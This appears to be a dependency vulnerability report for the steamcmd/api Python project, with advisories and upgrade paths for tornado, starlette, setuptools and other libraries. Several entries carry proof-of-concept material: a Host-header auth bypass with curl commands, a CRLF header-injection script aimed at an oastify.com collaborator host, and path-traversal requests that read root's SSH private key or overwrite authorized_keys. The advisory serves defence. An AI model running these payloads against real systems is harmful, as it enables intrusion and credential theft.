  • Vulnerable module: setuptools
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

Operation on a Resource after Expiration or Release

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Operation on a Resource after Expiration or Release in the CurlAsyncHTTPClient, where per-request credentials such as client TLS certificates or proxy authentication details are not properly cleared when reusing handles across requests. An attacker can obtain sensitive credentials intended for a previous request by triggering a subsequent request to a different host or proxy, causing the credentials to be sent to an unintended recipient.

Note: This is only exploitable if the application uses the optional CurlAsyncHTTPClient backend and is configured in a manner that matches the affected proxy-related usage patterns. Applications using the default SimpleAsyncHTTPClient backend are not affected, as it does not support proxies.

Remediation

Upgrade tornado to version 6.5.7 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: gevent
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2
    Remediation: Upgrade to gevent@25.4.1.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2

Overview

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper handling of pywsgi Input._send_100_continue. An attacker could extract data or compromise data integrity by sending a request with an Expect: 100-continue header.

Remediation

Upgrade gevent to version 25.4.1 or higher.

References

medium severity

Improper Handling of Unicode Encoding

  • Vulnerable module: setuptools
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0

Overview

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in the process that applies exclusion directives from MANIFEST.in due to improper Unicode normalization handling on macOS APFS or HFS+ filesystems. An attacker can cause unintended files to be included in a source distribution by creating filenames that exploit normalization collisions.

Remediation

Upgrade setuptools to version 83.0.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the UploadFile.write method when handling multipart forms containing files larger than the default spool_max_size. An attacker can cause the application to block the main event thread by submitting a multipart form with a large file, preventing the application from accepting new connections.

Remediation

Upgrade starlette to version 0.47.2 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the request.url reconstruction process. An attacker can bypass path-based security checks by supplying a malformed Host header that causes request.url.path to differ from the actual requested path.

Note:

This is only exploitable if the application relies on request.url (or request.url.path) for security-sensitive decisions. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

PoC

pip install starlette
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        if request.url.path == "" or request.url.path == "/":
            return await call_next(request)
        return PlainTextResponse("Forbidden\n", status_code=403)

async def root(request):
    return PlainTextResponse("Hello World\n")
async def admin(request):
    return PlainTextResponse("secret=123\n")

routes = [
    Route("/", endpoint=root),
    Route("/admin", endpoint=admin),
]

app = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])

Then, start the app using any of the ASGI servers:

pip install {daphne,hypercorn,uvicorn,granian}
daphne poc:app
hypercorn poc:app
uvicorn poc:app
granian --interface asgi poc:app

Confirm that the Host header is not validated:

curl -i -H 'Host: foo' localhost:8000/admin # 403 Forbidden
curl -i -H 'Host: foo?' localhost:8000/admin # 200 OK

Remediation

Upgrade starlette to version 1.0.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via parse_multipart_form_data in tornado/httputil.py, where the max_parts limit was enforced only after splitting the entire multipart body into parts. An attacker can send a multipart request with an excessive number of boundary-delimited parts, causing the str.split() call to allocate a large temporary list before the limit check is applied, resulting in CPU and memory amplification. The fix passes config.max_parts + 1 as the maxsplit argument so the split is bounded before the check.

Remediation

Upgrade tornado to version 6.5.8 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in HTTPServerRequest.__init__ in tornado/httputil.py via query strings with a large number of fields. The parse_qs_bytes call used to parse the query string had no argument count limit, allowing an attacker to send a request with a query string containing a very large number of fields and trigger superlinear CPU consumption. In the default configuration, max_header_size (64 KB) caps the query string at roughly 12,700 arguments, which still imposes approximately 47 ms of CPU per request - an order of magnitude beyond the limit enforced on the body path - and applications that raise max_header_size face a proportionally larger impact.

Remediation

Upgrade tornado to version 6.5.9 or higher.

References

medium severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via _read_chunked_body in http1connection.py, where reads of body data that has already arrived complete without yielding control to the event loop. An attacker can send an HTTP request with a chunked body composed of many small chunks, causing the event loop to be blocked for the entire duration of the body read - potentially minutes with the default max_body_size - and preventing the server from processing other requests.

Remediation

Upgrade tornado to version 6.6 or higher.

References

medium severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the parse_line method in tornado/httputil.py, which supports obsolete HTTP header line folding. An attacker can send HTTP requests containing folded header lines to trigger quadratic time complexity in header parsing, causing a crash.

Remediation

Upgrade tornado to version 6.6 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to inefficient cookie parsing that results in quadratic performance. An attacker could cause tornado to consume excessive CPU resources and block the event loop through maliciously crafted cookies.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade tornado to version 6.4.2 or higher.

References

medium severity

Infinite loop

  • Vulnerable module: zipp
  • Introduced through: celery@5.3.0, redis@5.0.8 and others

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › celery@5.3.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to celery@5.4.0.
  • Introduced through: steamcmd/api@steamcmd/api › redis@5.0.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to redis@5.0.8.
  • Introduced through: steamcmd/api@steamcmd/api › celery@5.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to celery@5.4.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery-singleton@0.3.1 › celery@5.3.0 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › celery@5.3.0 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to flower@2.1.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery-singleton@0.3.1 › redis@5.0.8 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › pydantic@2.5.3 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to fastapi@0.103.2.
  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › humanize@4.6.0 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › celery@5.3.0 › click-didyoumean@0.3.1 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to celery@5.4.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery@5.3.0 › click-plugins@1.1.1.2 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to celery@5.4.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery@5.3.0 › click-repl@0.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to celery@5.4.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery-singleton@0.3.1 › celery@5.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › celery@5.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to flower@2.1.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery-singleton@0.3.1 › celery@5.3.0 › click-didyoumean@0.3.1 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › celery@5.3.0 › click-didyoumean@0.3.1 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to flower@2.1.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery-singleton@0.3.1 › celery@5.3.0 › click-plugins@1.1.1.2 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › celery@5.3.0 › click-plugins@1.1.1.2 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to flower@2.1.0.
  • Introduced through: steamcmd/api@steamcmd/api › celery-singleton@0.3.1 › celery@5.3.0 › click-repl@0.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › celery@5.3.0 › click-repl@0.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
    Remediation: Upgrade to flower@2.1.0.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: anyio
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › anyio@3.7.1
    Remediation: Upgrade to fastapi@0.103.2.
  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0 › anyio@3.7.1
    Remediation: Upgrade to fastapi@0.103.2.

Overview

anyio is a High level compatibility layer for multiple asynchronous event loop implementations

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in process_worker within src/anyio/to_process.py, where stderr in a worker subprocess is left connected to the parent process pipe rather than redirected to /dev/null. When worker code writes to stderr, the write can block indefinitely waiting for the parent to drain the pipe, causing a deadlock that crashes the worker and renders it unresponsive.

Remediation

Upgrade anyio to version 4.14.2 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: setuptools
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to gevent@22.10.2.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parse and validate strings capabilities in the int constructor.

Notes:

  1. This is possible when Tornado is deployed behind certain proxies that interpret those non-standard characters differently.
  2. This is known to apply to older versions of haproxy, although the current release is not affected.

Remediation

Upgrade tornado to version 6.3.3 or higher.

References

medium severity

Improper Neutralization of CRLF Sequences ('CRLF Injection')

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Neutralization of CRLF Sequences ('CRLF Injection') through the CurlAsyncHTTPClient headers. An attacker can manipulate HTTP headers and construct unauthorized requests by injecting CRLF sequences into header values.

PoC

The issue can be reproduced using the following script:


import asyncio

from tornado import httpclient
from tornado import curl_httpclient

async def main():
    http_client = curl_httpclient.CurlAsyncHTTPClient()

    request = httpclient.HTTPRequest(
        # Burp Collaborator payload
        "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/",
        method="POST",
        body="body",
        # Injected header using CRLF characters
        headers={"Foo": "Bar\r\nHeader: Injected"}
    )

    response = await http_client.fetch(request)
    print(response.body)

    http_client.close()

if __name__ == "__main__":
    asyncio.run(main())

When the specified server receives the request, it contains the injected header (Header: Injected) on its own line:

POST / HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
User-Agent: Mozilla/5.0 (compatible; pycurl)
Accept: */*
Accept-Encoding: gzip,deflate
Foo: Bar
Header: Injected
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of \r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com results in the server receiving an additional, attacker-controlled request:

POST /attacker-controlled-url HTTP/1.1
Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com
Content-Length: 4
Content-Type: application/x-www-form-urlencoded

body

Remediation

Upgrade tornado to version 6.4.1 or higher.

References

medium severity

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') when dispatching HTTP requests to endpoint attributes via getattr. An attacker can invoke internal methods not intended as HTTP handlers by sending requests with non-standard HTTP methods whose names match internal attribute names, potentially bypassing authorization checks.

Note: This is only exploitable if an HTTPEndpoint subclass is registered through Route(...) without specifying the methods= argument and the subclass defines additional methods matching non-standard HTTP-method token shapes that accept a single request argument and return a response.

Workaround

This vulnerability can be mitigated by registering HTTPEndpoint subclasses with an explicit methods= argument on the Route, listing only the supported HTTP verbs.

Remediation

Upgrade starlette to version 1.1.0 or higher.

References

medium severity

Buffer Over-read

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Buffer Over-read via the websocket_mask function in the speedups component. An attacker can trigger a read past the end of the mask string by supplying a mask value shorter or longer than 4 bytes. This can expose adjacent process memory to the caller and can crash the interpreter when the optimized masking path is used.

Notes

  • The vulnerable path is the native tornado.speedups extension, which is optional and can be disabled by setting TORNADO_EXTENSION=0; deployments that never load the C extension use the pure-Python masking code instead.
  • The behavior is only reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Workarounds

  • Set TORNADO_EXTENSION=0 before starting the application to disable the native tornado.speedups extension and avoid the vulnerable websocket_mask path, at the cost of reduced websocket performance.

Remediation

Upgrade tornado to version 6.5.6 or higher.

References

medium severity
new

Cross-site Request Forgery (CSRF)

  • Vulnerable module: flower
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1
    Remediation: Upgrade to flower@2.2.0.

Overview

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the absence of CSRF protection on state-changing endpoints when OAuth cookie-based authentication is in use. An attacker can trick an authenticated user into visiting a malicious page that issues forged requests to the Flower API, allowing unauthorized state-changing operations (e.g. task revocation or worker control) and potentially crashing workers.

Note: This is only exploitable when OAuth cookie-based authentication is enabled.

Remediation

Upgrade flower to version 2.2.0 or higher.

References

medium severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the AsyncHTTPClient. An attacker can cause excessive memory consumption by sending a response with a small compressed size that decompresses to a very large payload, leading to resource exhaustion.

Note: This is only exploitable if decompress_request=True is set on HTTPServer.

Workaround

This vulnerability can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Remediation

Upgrade tornado to version 6.5.6 or higher.

References

medium severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

  1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

  2. Not disabling HTTP redirects (e.g. with redirects=False)

  3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

  1. Using the Proxy-Authorization header with urllib3's ProxyManager.

  2. Disabling HTTP redirects using redirects=False when sending requests.

  3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
